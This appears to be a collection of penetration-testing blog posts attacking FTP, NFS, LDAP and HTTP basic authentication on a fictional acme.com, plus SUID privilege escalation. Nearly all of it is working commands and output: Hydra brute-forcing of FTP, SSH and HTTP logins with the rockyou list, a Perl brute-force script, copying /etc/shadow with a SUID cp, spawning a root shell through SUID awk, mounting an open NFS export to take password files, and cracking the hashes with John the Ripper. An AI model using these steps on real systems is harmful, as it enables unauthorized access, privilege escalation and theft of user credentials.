Saturday, September 14, 2019

Attacking FTP Servers

We first do a quick nmap scan against the remote host ftp.acme.com and try and fingerprint the current ftp service running.

root@asus:~% nmap -sV -T4 ftp.acme.com

Starting Nmap 7.01 ( https://nmap.org ) at 2019-09-02 20:18 MDT
Nmap scan report for ftp.acme.com (ftp.acme.com)
Host is up (0.000073s latency).
Not shown: 988 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.3

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.88 seconds
root@asus:~% 

We see the remote host is indeed serving up the FTP protocol. Let now try and connect to the remote ftp server using the telnet program and issue some commands.

root@asus:~% telnet ftp.acme.com 21
Trying ftp.acme.com...
Connected to ftp.acme.com.
Escape character is '^]'.
220 (vsFTPd 3.0.3)
quit
221 Goodbye.
Connection closed by foreign host.
root@asus:~% 

Our next step is to see if the ftp server allows anonymous connections.

sam@asus:~% ftp
ftp> open ftp.acme.com
Connected to ftp.acme.com.
220 (vsFTPd 3.0.3)
Name (ftp.acme.com:sam): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> 

We can connect anonymously, but there is nothing in the directory. our next test will see if we can upload files to the server anonymously.

ftp> put test.txt
local: test.txt remote: test.txt
200 PORT command successful. Consider using PASV.
553 Could not create file.
ftp> 

No luck here. One thing we can do is take information such as names from the company's website and try to fuzz for possible ftp users on the server.

FTP User Enumeration

We have some names from the company website which we will use to fuzz valid usernames for the ftp server. We can use our username script from Enumerating UNIX Usernames to generate a list of possible usernames on the server from the list of users we got from the website.

clare johnson
vance patel
hayden smith
sasha reed
jared wilson
sam@asus:~/pentest_notes% perl username-fuzz.pl hayden smith
hayden
smith
haysmith
smithhay
s.hayden
s_hayden
s-hayden
smihayden
hayden.smith
hayden_smith
hayden-smith
h.smith
h_smith
h-smith
smith.ha
smith_ha
smith-ha
haydensm
smhayden
...

Once we have a list of possible usernames we can now move on to using hydra to find out the username format. All we need is one user to test for, after that we can apply to username rules to the remaining names on the list.

For our payloads we will use a list of common usernames formats for the user list and the rockyou wordlist for the passwords. With some luck we should be able to find some valid user/password combinations using Hydra.

sam@asus:~% hydra -L haydensmith.txt -P rockyou.txt ftp://ftp.acme.com
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-09-12 12:24:53
[DATA] max 16 tasks per 1 server, overall 64 tasks, 14344398 login tries (l:1/p:14344398), ~14008 tries per task
[DATA] attacking service ftp on port 21
[21][ftp] host: ftp.acme.com   login: hayden   password: ashley
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-09-12 12:26:31
sam@asus:~% 

We found a valid user/pass combination and username format for the remote FTP server. Now we need to construct a new list of usernames using the format we found via Hydra and repeat the process for the other users.

Finding Valid FTP Accounts

Our user.txt should look like so:

clare
vance
hayden
sasha
jared
sam@asus:~% hydra -L users.txt -P rockyou.txt ftp://ftp.acme.com
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-09-12 12:24:53
[DATA] max 16 tasks per 1 server, overall 64 tasks, 14344398 login tries (l:1/p:14344398), ~14008 tries per task
[DATA] attacking service ftp on port 21
[21][ftp] host: ftp.acme.com   login: jared   password: qwerty
[21][ftp] host: ftp.acme.com   login: vance   password: 654321
[21][ftp] host: ftp.acme.com   login: clare   password: jessica
[21][ftp] host: ftp.acme.com   login: sasha   password: michael
[21][ftp] host: ftp.acme.com   login: hayden   password: ashley
1 of 1 target successfully completed, 5 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-09-12 12:26:31
sam@asus:~% 

We successfully found credentials for all the usernames in the list.

Browsing FTP directories

sam@asus:~% ftp
ftp> open 148.32.42.5
Connected to 148.32.42.5.
220 (vsFTPd 3.0.3)
Name (148.32.42.5:sam): hayden
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
dr-xr-xr-x    4 65534    65534        4096 May 15 07:49 ftp
-rw-rw-r--    1 1005     1005        48605 Sep 12 17:38 home.tar.gz
drwx------    2 1005     1005         4096 May 01 09:44 mail
-rwxr--r--    1 1005     1005          594 Sep 02 14:54 server.pl
226 Directory send OK.
ftp> get home.tar.gz
local: home.tar.gz remote: home.tar.gz
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for home.tar.gz (48605 bytes).
226 Transfer complete.
48605 bytes received in 0.00 secs (9.9986 MB/s)
ftp> exit
221 Goodbye.
sam@asus:~% 

We check the bash history file for interesting finds.

Trying to login to SSH

We can try and login to ssh with the supplied crededitnails to see if we get lucky or not.

sam@asus:~% ssh -l clare 148.32.42.5
clare@148.32.42.5's password: 
Welcome to GalliumOS 2.1 (GNU/Linux 4.9.4-galliumos-braswell x86_64)

 * Documentation:  https://wiki.galliumos.org/
 * Support:        https://reddit.com/r/GalliumOS
Last login: Tue Sep  3 13:40:25 2019 from 148.32.42.5
clare@asus:~$ sudo -l
[sudo] password for clare: 
Sorry, user clare may not run sudo on asus.
clare@asus:~$

As we can see the user clare is not in the sudoers file. Our next step is to check for SUID binaries to see if we can execute commands as a higher privelege user such as root.

clare@asus:~$ find / -perm -u=s -type f 2>/dev/null
/usr/lib/eject/dmcrypt-get-device
/usr/lib/virtualbox/VBoxHeadless
/usr/lib/virtualbox/VBoxNetDHCP
/usr/lib/virtualbox/VBoxNetAdpCtl
/usr/lib/virtualbox/VBoxSDL
/usr/lib/virtualbox/VirtualBox
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/galliumos-update/update_package_index
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/chromium-browser/chrome-sandbox
/usr/bin/perl5.22.1
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/tcptraceroute.mt
/usr/bin/perl
/usr/bin/sudo
/usr/bin/gawk
/usr/bin/pkexec
/usr/sbin/pppd
/home/sam/unix/prog
/bin/ping6
/bin/su
/bin/ping
/bin/fusermount
/bin/mount
/bin/cp
/bin/umount
/sbin/mount.nfs
/sbin/mount.ecryptfs_private
clare@asus:~$ 

We see that the 'cp' command is suid able. all we need to do is cp the /etc/shadow file to a file in our home directory and crack the remaining hashes with john the ripper.

clare@asus:~$ cp /etc/shadow .shadow
clare@asus:~$ ls -l .shadow
-rw-r----- 1 root clare 2199 Sep 12 20:19 .shadow
clare@asus:~$ cat .shadow
root:!:17866:0:99999:7:::
daemon:*:17200:0:99999:7:::
bin:*:17200:0:99999:7:::
sys:*:17200:0:99999:7:::
sync:*:17200:0:99999:7:::
games:*:17200:0:99999:7:::
man:*:17200:0:99999:7:::
lp:*:17200:0:99999:7:::
mail:*:17200:0:99999:7:::
news:*:17200:0:99999:7:::
uucp:*:17200:0:99999:7:::
proxy:*:17200:0:99999:7:::
www-data:*:17200:0:99999:7:::
backup:*:17200:0:99999:7:::
list:*:17200:0:99999:7:::
irc:*:17200:0:99999:7:::
gnats:*:17200:0:99999:7:::
nobody:*:17200:0:99999:7:::
systemd-timesync:*:17200:0:99999:7:::
systemd-network:*:17200:0:99999:7:::
systemd-resolve:*:17200:0:99999:7:::
systemd-bus-proxy:*:17200:0:99999:7:::
messagebus:*:17200:0:99999:7:::
syslog:*:17200:0:99999:7:::
_apt:*:17200:0:99999:7:::
ntp:*:17225:0:99999:7:::
avahi-autoipd:*:17225:0:99999:7:::
avahi:*:17225:0:99999:7:::
colord:*:17225:0:99999:7:::
dnsmasq:*:17225:0:99999:7:::
pulse:*:17225:0:99999:7:::
hplip:*:17225:0:99999:7:::
rtkit:*:17225:0:99999:7:::
saned:*:17225:0:99999:7:::
usbmux:*:17225:0:99999:7:::
speech-dispatcher:!:17225:0:99999:7:::
uuidd:*:17225:0:99999:7:::
statd:*:17873:0:99999:7:::
mysql:!:17897:0:99999:7:::
openldap:!:17906:0:99999:7:::
snmp:*:18010:0:99999:7:::
postfix:*:18013:0:99999:7:::
clare:$6$5GIN00sB$b2lbPsKpUr5hWUVy4GtaHWKSnmLs8/nF67776DYcQZ5h9jie77ru9YsYv3t655Tt9o3HEbcrRTkzuAYgHWWKx.:18013:0:99999:7:::
vance:$6$EHEtCGTs$5IJBJ8NSP4C97t7IxaOwxWf8VqR3N5El3FxA2QexeLS7.RzA3emYjKtXdXy3MnUGBgf5XixOlPSai0XMiIBdw.:18013:0:99999:7:::
sasha:$6$tyRJrsuF$XHZjgCVEZciytpWOFKRK/FonPq54W5wvjOvTDirXcJXDbqx1tRGsL1jiqugypVMRjvKfEE5jjDssFnonpCKA60:18013:0:99999:7:::
hayden:$6$GOUeWA0i$.50S6PcV1KLQeRCoccBEE7yUwjzA2Jo2DjuSXk/K5NJisdgrOiRGkdIhmustFnmi/41tr4Y99/9JlAm8nR4rg.:18013:0:99999:7:::
jared:$6$DYou14VW$s5Q4LyqWvhqkFY05SUfjF7iRJWgWhyHUj/pJk3MPMUSwzapAx.eJutyv00fcXouN3yrcw56nuwBkgpIFWojAs0:18013:0:99999:7:::
dovecot:*:18014:0:99999:7:::
dovenull:*:18014:0:99999:7:::
bind:*:18015:0:99999:7:::
ftp:*:18031:0:99999:7:::
sshd:*:18142:0:99999:7:::
clare@asus:~$ 

Cracking Passwords with John The Ripper

we load up the .pot file for john to run against.

clare:$6$5GIN00sB$b2lbPsKpUr5hWUVy4GtaHWKSnmLs8/nF67776DYcQZ5h9jie77ru9YsYv3t655Tt9o3HEbcrRTkzuAYgHWWKx.
vance:$6$EHEtCGTs$5IJBJ8NSP4C97t7IxaOwxWf8VqR3N5El3FxA2QexeLS7.RzA3emYjKtXdXy3MnUGBgf5XixOlPSai0XMiIBdw.
sasha:$6$tyRJrsuF$XHZjgCVEZciytpWOFKRK/FonPq54W5wvjOvTDirXcJXDbqx1tRGsL1jiqugypVMRjvKfEE5jjDssFnonpCKA60
hayden:$6$GOUeWA0i$.50S6PcV1KLQeRCoccBEE7yUwjzA2Jo2DjuSXk/K5NJisdgrOiRGkdIhmustFnmi/41tr4Y99/9JlAm8nR4rg.
jared:$6$DYou14VW$s5Q4LyqWvhqkFY05SUfjF7iRJWgWhyHUj/pJk3MPMUSwzapAx.eJutyv00fcXouN3yrcw56nuwBkgpIFWojAs0

Here we will use the rockyou word list with the users and password hashes in the .pot file.

root@asus:~/src/john/run% ./john --wordlist=/home/sam/rockyou.txt /home/sam/john.pot
Using default input encoding: UTF-8
Loaded 5 password hashes with 5 different salts (sha512crypt, crypt(3) $6$ [SHA512 128/128 SSE4.1 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
jessica          (clare)
qwerty           (jared)
654321           (vance)
ashley           (hayden)
michael          (sasha)
5g 0:00:00:03 DONE (2019-09-12 19:26) 1.412g/s 36.15p/s 180.7c/s 180.7C/s 123456..diamond
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@asus:~/src/john/run% 

Wednesday, September 11, 2019

Basic HTTP Authentication Dictionary Attack

Basic HTTP Authentication Dictionary Attack

Sometimes you come across basic http authentication which needs to be cracked in order to gain access to the protected contents of the server. We can use two ways to acomplish the task, one is using Hydra to brute force the login and the second is we can write our own script in PERL.

hydra -l admin -P wordlist.txt <hostname> http-get <web-directory>
root@ubuntu:~/public_html# hydra -l admin -P wordlist.txt localhost http-get /~sam/protected
Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2019-08-17 12:26:44
[DATA] max 16 tasks per 1 server, overall 16 tasks, 109 login tries (l:1/p:109), ~7 tries per task
[DATA] attacking http-get://localhost:80//~sam/protected
[80][http-get] host: localhost   login: admin   password: manager
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-08-17 12:26:46
root@ubuntu:~/public_html# 

We can write our own script in perl to apply a dictonary attack on basic HTTP authentication.

#!/usr/bin/env perl
#
# basic http auth brute force
#
use strict;
use warnings;
use LWP::UserAgent;
use URI;

## Target URL
my $target = URI->new("http://localhost/~sam/protected/"); 
my $host = $target->host.":".$target->port;

## Realm to use
my $realm = "Protected Content"; 

## User to brute force
my $user = "admin"; 

## Passwords list
my $wordlist = "wordlist.txt"; 
open(my $fh, '<', $wordlist) or die $!;

my $user_agent = LWP::UserAgent->new();

while (my $pass = <$fh>) {
 chomp($pass);
 $user_agent->credentials($host, $realm, $user, $pass);

 my $res = $user_agent->get($target);

 print "200 OK -> $user:$pass\n" if ($res->is_success); 
}

If we run the script we get the username and password based on a HTTP 200 OK repsonse code.

sam@ubuntu:~/public_html$ perl basic-http-auth.pl
200 OK -> admin:manager
sam@ubuntu:~/public_html$ 

Tuesday, September 3, 2019

Attacking NFS

This is our data set we will work from which was gathered during the OSINT phase from the company website: http://www.acme.com

k.madden@mail.acme.com
t.stephens@mail.acme.com
k.parsons@mail.acme.com
d.hansen@mail.acme.com
k.ball@mail.acme.com
c.harvey@mail.acme.com
j.macdonald@mail.acme.com
c.gibbs@mail.acme.com
j.mcpherson@mail.acme.com
g.joyner@mail.acme.com
c.casey@mail.acme.com
c.eaton@mail.acme.com
c.rojas@mail.acme.com

With this list of email addresses and possible user names we will attempt to gain shell access to the remote through NFS enumeration and exploitaion.

First lets do a quick service scan on our suspected NFS server.

root@asus:~/pentest_notes% nmap -sV -T4 -p111,2049 nemo.acme.com

Starting Nmap 7.01 ( https://nmap.org ) at 2018-12-28 04:21 MST
Nmap scan report for nemo.acme.com
Host is up (0.0024s latency).
PORT     STATE SERVICE VERSION
111/tcp  open  rpcbind 2 (RPC #100000)
2049/tcp open  nfs     2-3 (RPC #100003)
MAC Address: 08:00:27:30:FA:3B (Oracle VirtualBox virtual NIC)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.97 seconds
root@asus:~/pentest_notes% 

Query rpcbind for information about what services are currently running on the remote host.

sam@asus:~/pentest_notes% rpcinfo -p nemo.acme.com
   program vers proto   port  service
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100005    1   udp    839  mountd
    100005    3   udp    839  mountd
    100005    1   tcp    673  mountd
    100005    3   tcp    673  mountd
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
sam@asus:~/pentest_notes% 

We can verify is the NFS service is actually running by querying a specfic port and program number.

sam@asus:~/pentest_notes% rpcinfo -n 2049 -t nemo.acme.com 100003
program 100003 version 2 ready and waiting
program 100003 version 3 ready and waiting
sam@asus:~/pentest_notes% 

Now we can query the NFS server and ask to see the list of mountable drives

root@asus:~/pentest_notes% showmount -e nemo.acme.com
Export list for nemo.acme.com:
/export/backups (everyone)
root@asus:~/pentest_notes%

We see that the /export/backups is accessible to everyone so we will try to mount that directory locally. first we need to create a local mount point. we will call this `/mnt/loot`.

root@asus:~/pentest_notes% mkdir /mnt/loot
root@asus:~/pentest_notes%

after we create the local mount point we can try and mount the remote directory.

root@asus:~/pentest_notes% mount nemo.acme.com:/export/backups /mnt/loot
root@asus:~/pentest_notes%

If no errors occur then we are good. now lets see what we got by cd'ing into our local mount point `/mnt/loot`.

root@asus:~/pentest_notes% cd /mnt/loot;ls -la
total 12
drwxrwxrwx 2 root root  512 Dec 27 20:44 .
drwxr-xr-x 4 root root 4096 Dec 28 03:53 ..
-rwxrwxrwx 1 root root 5604 Dec 27 20:44 master.passwd.old
root@asus:/mnt/loot% 
root@asus:/mnt/loot% cat master.passwd.old | less
root:$2b$10$7KoamPq9ZOkL4YUYoaNpHu2S671nAjEd7jhiy6Kf.TWCLpA7xwnrG:0:0:daemon:0:0:Charlie &:/root:/bin/ksh
daemon:*:1:1::0:0:The devil himself:/root:/sbin/nologin
operator:*:2:5::0:0:System &:/operator:/sbin/nologin
bin:*:3:7::0:0:Binaries Commands and Source:/:/sbin/nologin
build:*:21:21::0:0:base and xenocara build:/var/empty:/bin/ksh
sshd:*:27:27::0:0:sshd privsep:/var/empty:/sbin/nologin
_portmap:*:28:28::0:0:portmap:/var/empty:/sbin/nologin
_identd:*:29:29::0:0:identd:/var/empty:/sbin/nologin
_rstatd:*:30:30::0:0:rpc.rstatd:/var/empty:/sbin/nologin
...
root@asus:/mnt/loot%

We got what looks like a backup of the master.passwd (BSD) file of the NFS server which we will use next to try and gain shell access.

root@asus:/mnt/loot% cat master.passwd.old | awk 'BEGIN{FS=":"} {if ($3 > 1000 || $3 == 0) print $1 ":" $2}'
root:$2b$10$7KoamPq9ZOkL4YUYoaNpHu2S671nAjEd7jhiy6Kf.TWCLpA7xwnrG
k.madden:$2b$09$d6VfZmp2SbBV1HVo2OYC4ebZeoNspr3XoMVOaCGTaiXaWGng45.3u
t.stephens:$2b$09$daF97oYu6wAi3c0gHkKgPuKn0HAeu8yf8u1b3aBRmxEFXyJHyCpHG
k.parsons:$2b$09$/goSifrmIrT/sds5UHdPwOyQrO9RcoogBUW.r6JviwMi4s.osmp6G
d.hansen:$2b$09$4Z5FxDk1gmLk9/utv8B78OOsEK/fONTPD2kSzFzgGbcXS6t.fxKga
k.ball:$2b$09$Oy1xHnN5akCb3T04X2mdGes.9TRm6uL4eCz7N7HVBFj2FV83aoSxe
c.harvey:$2b$09$a.FBS1/idqVpL1c1W4BtkuZrLiliBrk9FiYsJ834TJQMLosnLWzde
j.macdonald:$2b$09$tNp6xHtL5F1fTCx7cugGh.iqeFwBU5QkXTSDyzHerOLxYwwI0XplC
c.gibbs:$2b$09$J21XaR8.IOy30OXzSU61Kefyg6w24GN5i9nshfQkjOAsJqYHFRDRq
j.mcpherson:$2b$09$2V.h6JWa/I.zY1g0oc/K3uhnYugP0kMUXGCBTzSngi1Km2XKGM3TO
g.joyner:$2b$09$LPPpcASJvm57u7ethcJ9Zezo0btiowPieLNaP2VneMmVZUpu/Us0u
c.casey:$2b$09$tkrV9v9ZOoX/lABPhbBTeOXtHX/hogOXqK47KE6N.DQKKlimDw8LO
c.eaton:$2b$09$1ftTp/OAcRGb5GWlTqeA8.j4naL0dwlIUh.RsQNez1yEOQjDMr/Cq
c.rojas:$2b$09$MMs5cVaZrAlXmT/enxCbSOwzdi3I.PUGaN83wXw5/XHwYRR6oOYY.
root@asus:/mnt/loot%

All these entries will be used in a dictonary attack against the master.passwd file using JTR (John The Ripper).

root@asus:~/src/john/run% ./john --format=bcrypt --wordlist=/home/sam/pentest_notes/ry.txt ~/pentest_notes/master.passwd.openbsd 
Using default input encoding: UTF-8
Loaded 13 password hashes with 13 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 512 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
naruto           (k.ball)
summer           (c.harvey)
whatever         (k.madden)
spongebob        (c.gibbs)
junior           (g.joyner)
yellow           (c.rojas)
taylor           (c.eaton)
cookie           (d.hansen)
sweety           (j.macdonald)
joseph           (j.mcpherson)
dragon           (t.stephens)
softball         (c.casey)
12g 0:00:00:03 DONE (2018-12-28 13:44) 3.508g/s 3.801p/s 49.41c/s 49.41C/s whatever..yellow
Use the "--show" option to display all of the cracked passwords reliably
Session completed
root@asus:~/src/john/run% 

After we got the usernames and passwords we could, we can now test for still valid logins using the Hydra tool against SSH.

root@asus:~/pentest_notes% hydra -L nemo.acme.com-userlist.txt -P nemo.acme.com-passlist.txt nemo.acme.com ssh
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2018-12-28 13:56:23
[DATA] max 16 tasks per 1 server, overall 64 tasks, 52 login tries (l:13/p:4), ~0 tries per task
[DATA] attacking service ssh on port 22
[22][ssh] host: nemo.acme.com   login: k.madden   password: whatever
[22][ssh] host: nemo.acme.com   login: t.stephens   password: dragon
[22][ssh] host: nemo.acme.com   login: c.casey   password: softball
[22][ssh] host: nemo.acme.com   login: c.rojas   password: yellow
1 of 1 target successfully completed, 4 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2018-12-26 22:55:50
root@asus:~/pentest_notes% 

So out of the 13 users we found, 4 of them still use the same password for their login. Now we can verify if each login works.

sam@asus:~/pentest_notes% ssh -l k.madden nemo.acme.com
The authenticity of host 'nemo.acme.com (192.168.0.133)' can't be established.
ECDSA key fingerprint is SHA256:JdXLz4mKxMOL/l6tGK/5ETiDUAWVVX0HCmDiuQyuxig.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'nemo.acme.com' (ECDSA) to the list of known hosts.
k.madden@nemo.acme.com's password: 
OpenBSD 6.4 (GENERIC) #926: Thu Oct 11 13:43:06 MDT 2018

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

nemo$ hostname
nemo.acme.com
nemo$ id
uid=1001(k.madden) gid=1001(k.madden) groups=1001(k.madden), 0(wheel)
nemo$ su t.stephens
Password:
nemo$ id
uid=1002(t.stephens) gid=1002(t.stephens) groups=1002(t.stephens), 0(wheel)
nemo$ su c.casey
Password:
nemo$ id
uid=1011(c.casey) gid=1011(c.casey) groups=1011(c.casey), 0(wheel)
nemo$ su c.rojas
Password:
nemo$ id
uid=1013(c.rojas) gid=1013(c.rojas) groups=1013(c.rojas), 0(wheel)
nemo$ exit
nemo$ exit
nemo$ exit
nemo$ exit
Connection to nemo.acme.com closed.
sam@asus:~/pentest_notes% 

As you can see all of the users are in the `wheel` group meaning they can su to root if they know the passwd.

Monday, September 2, 2019

Suid binary exploitation

Suid binary exploitation involves a binary with its SUID bit set so that any thing executed by the program will do so with privelges of that user. First we search for suid binarys in the root of the filesystem.


sam@asus:~% find / -user root -perm -4000 -exec ls -ldb {} \;
-r-sr-xr-x 1 root bin 38836 Aug 10 16:16 /usr/bin/at
-rwsr-xr-x 1 root root 11288 Nov 19 11:29 /usr/bin/awk
-r-sr-xr-x 1 root bin 19812 Aug 10 16:16 /usr/bin/crontab
---s--x--x 1 root sys 46040 Aug 10 15:18 /usr/bin/ct
-r-sr-xr-x 1 root sys 12092 Aug 11 01:29 /usr/lib/mv_dir
-r-sr-sr-x 1 root bin 33208 Aug 10 15:55 /usr/lib/lpadmin
-r-sr-sr-x 1 root bin 38696 Aug 10 15:55 /usr/lib/lpsched
---s--x--- 1 root rar 45376 Aug 18 15:11 /usr/rar/bin/sh
-r-sr-xr-x 1 root bin 12524 Aug 11 01:27 /usr/bin/df
-rwsr-xr-x 1 root sys 21780 Aug 11 01:27 /usr/bin/newgrp
-r-sr-sr-x 1 root sys 23000 Aug 11 01:27 /usr/bin/passwd
-r-sr-xr-x 1 root sys 23824 Aug 11 01:27 /usr/bin/su
...
sam@asus:~%

We can see the AWK programming has `-rwsr` instead of `-rwxr` signifying the suid bit is set on the AWK program. We also see that it is root:root meaning any instruction we pass to AWK will be ran under root privileges.


sam@asus:~% ls -la /usr/bin/awk
-rwsr-xr-x 1 root root 1911288 Nov 19 11:29 /usr/bin/awk
sam@asus:~% 
next we can use the AWK program to try and spawn a simple shell with the awk system() function call.
sam@asus:~% id
uid=1000(sam) gid=1000(sam) groups=1000(sam),4(adm),24(cdrom),27(sudo),46(plugdev),112(lpadmin)
sam@asus:~%

Lets issue our shell command and check our uid/gid stats afterward.

sam@asus:~% awk 'BEGIN{system("/bin/sh")}'
# id
uid=1000(sam) gid=1000(sam) euid=0(root) groups=1000(sam),4(adm),24(cdrom),27(sudo),46(plugdev),112(lpadmin)
# 

And of course we raid the /etc/shadow file for password hashes.


# cut -d: -f1,2 /etc/shadow
...
root:$6$uGqhP09J$cDygxAzkw0gMFeTJsyhTfyYsqY2JPkx6wyJ3gJ6Xgr5aIMUeUZ0gjnaw.GPRQSTuV5ep1gBdcjnlC85GzirU9.
sam:$6$m0baQXyk$o3gxkMH4aI1M5IGJWWI.SBcrpKhcutuPt98O3UtQ8wljLuGmTsX5YKzaDsJSX65g14hf76kVLNZVvPPzVJRV4/
evelyn:$6$mJ3sgN0Q$ex3hiPuSebIvKbVLFFbDvUy.CrZowiSf1g/HAR78hLI8pFMG.WO9wma9dnA45MrIDYpdXtMV2CXK8EXAo6ix61
price:$6$G7zo0DN0$Ob9ro9/fMXYNja40VsbcPCh6AHg9UDGg01Lv33H1eRw.QiB8/kQ0WVbs8yz59w38BwHsJpRCbvN1tquj9exlT.
ralph:$6$GGNFUI3s$bBf5FuCP6cbe2f881sLi2kO1woWqM58wzLGSy72mtLTs4KI/ok7CA4rtHNFXUpd7FHYWfnpQyN0tUCvvqK5qm0
lester:$6$l1ULRsYG$b0eBdMJx8eniZ0UMYlYVyC5O8aUDDg5NWMumLEqO8yowvEbKS/uIhDKjjbEXJ3vvokvhrDs47BSbWpr151tld0
wylie:$6$ao/opbGp$atg67ybDl2hObBB06AcnvJpNggaxMNJ7ubsb8mXPo67qg29uZZ3oCaloiuVrhoHrbNgN0PkSINOF7OnnEr6Ac.
callum:$6$b19tmwgI$NB7lXM8FwzMiV0zQOT5fOpMhmSN6Q6fHswtEHBum66/Wt9IwGR.WHbcL5vzEuCVx8woHv1w/eOF7/PxjKtHWQ.
mannix:$6$2RPPrMar$DDV.sfg7/CZyV2NHsoXa2oIDI/kn3ZK4aHpIcUR59JwPsl1/JeSokDFWRvpiZymgFg1zqh2ZY919Z5D3BDlBs.
# exit
sam@asus:~% 

Since our AWK binary suid bit is set and owned by root `euid=0(root)`, the AWK program will execute any instructions as root. this is one of many tools you can use to escalate privilges on a UNIX box if the suid bit is set.

Sunday, September 1, 2019

Testing LDAP servers with examples

Today we are going to be attacking the remote service LDAP. The only thing we need is an IP Address so lets ping our host to verify its up and running.

sam@asus:~% ping -c 3 148.32.42.5
PING 148.32.42.5 (148.32.42.5) 56(84) bytes of data.
64 bytes from 148.32.42.5: icmp_seq=1 ttl=64 time=0.043 ms
64 bytes from 148.32.42.5: icmp_seq=2 ttl=64 time=0.082 ms
64 bytes from 148.32.42.5: icmp_seq=3 ttl=64 time=0.122 ms

--- 148.32.42.5 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2087ms
rtt min/avg/max/mdev = 0.043/0.082/0.122/0.033 ms
sam@asus:~% 

We first start by scanning the host with nmap to verify if port 389 is indeed open.

sam@asus:~% sudo nmap -sV -p389 148.32.42.5

Starting Nmap 7.01 ( https://nmap.org ) at 2019-01-22 10:55 MST
Nmap scan report for ldap.acme.com (148.32.42.5)
Host is up (0.00014s latency).
PORT    STATE SERVICE VERSION
389/tcp open  ldap    OpenLDAP 2.2.X - 2.3.X

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.81 seconds
sam@asus:~% 

As we can see nmap reports back to us that the is indeed open and running the LDAP service. Anonymous Bind Our next test is to see if this LDAP server is vulnerable to a NULL base or anonymous bind. We will search for all Distinguished Names (DN) in the tree.

sam@asus:~% ldapsearch -x -b "dc=acme,dc=com" "*" -h 148.32.42.5 | awk '/dn: / {print $2}'
dc=acme,dc=com
cn=admin,dc=acme,dc=com
cn=ldapusers,dc=acme,dc=com
cn=evelyn
cn=sales,dc=acme,dc=com
ou=direct,cn=sales,dc=acme,dc=com
ou=channel,cn=sales,dc=acme,dc=com
cn=support,dc=acme,dc=com
cn=training,dc=acme,dc=com
ou=helpdesk,cn=support,dc=acme,dc=com
ou=escalation,cn=support,dc=acme,dc=com
ou=instructors,cn=training,dc=acme,dc=com
ou=course
cn=chris
cn=sam
cn=justin
cn=heath
cn=nick
cn=eric
cn=tim
cn=vaj
sam@asus:~% 

In this case anonymous bind is allowed and we are able to traverse the directory tree as we would if we were a authenticated user. We can go further by pilfering through the directory and find all the user and user names on the server.

Unauthenticated Bind Enumeration (DN with no password)

Lets try a search for all user id's in the directory subtree using the DN `cn=admin,dc=acme,dc=com` and no password.

root@asus:~% ldapsearch -x -D "cn=admin,dc=acme,dc=com" -s sub "cn=*" -h 148.32.42.5 | awk '/uid: /{print $2}' | nl
     1 esampson
     2 cchiu
     3 skumar
     4 jsmith
     5 hahmad
     6 nolsen
     7 ealvarez
     8 tmoreau
     9 vpatel
root@asus:~% 

This what you will see if you come upon a server where unauthenticated binds are disallowed:

sam@asus:~% ldapsearch -x -D "cn=admin,dc=acme,dc=com" -s sub "cn=*" -h 148.32.42.5
ldap_bind: Server is unwilling to perform (53)
additional info: unauthenticated bind (DN with no password) disallowed
sam@asus:~% 

Unauthenticated Binds are only allowed if Anonymous Binds are also enabled.

Authenticated Bind Enumeration

For a authenticated LDAP bind we need to crack some passwords, preferably the ldap administrators. We also need identify the authentication used such as md5 ,etc.

We can get the authentication method by using a bogus password and trying to login

sam@asus:~% ldapwhoami -h ldap.acme.com -w "abcd123"
SASL/DIGEST-MD5 authentication started
ldap_sasl_interactive_bind_s: Invalid credentials (49)
 additional info: SASL(-13): user not found: no secret in database
sam@asus:~%

Dictonary attack to find valid users

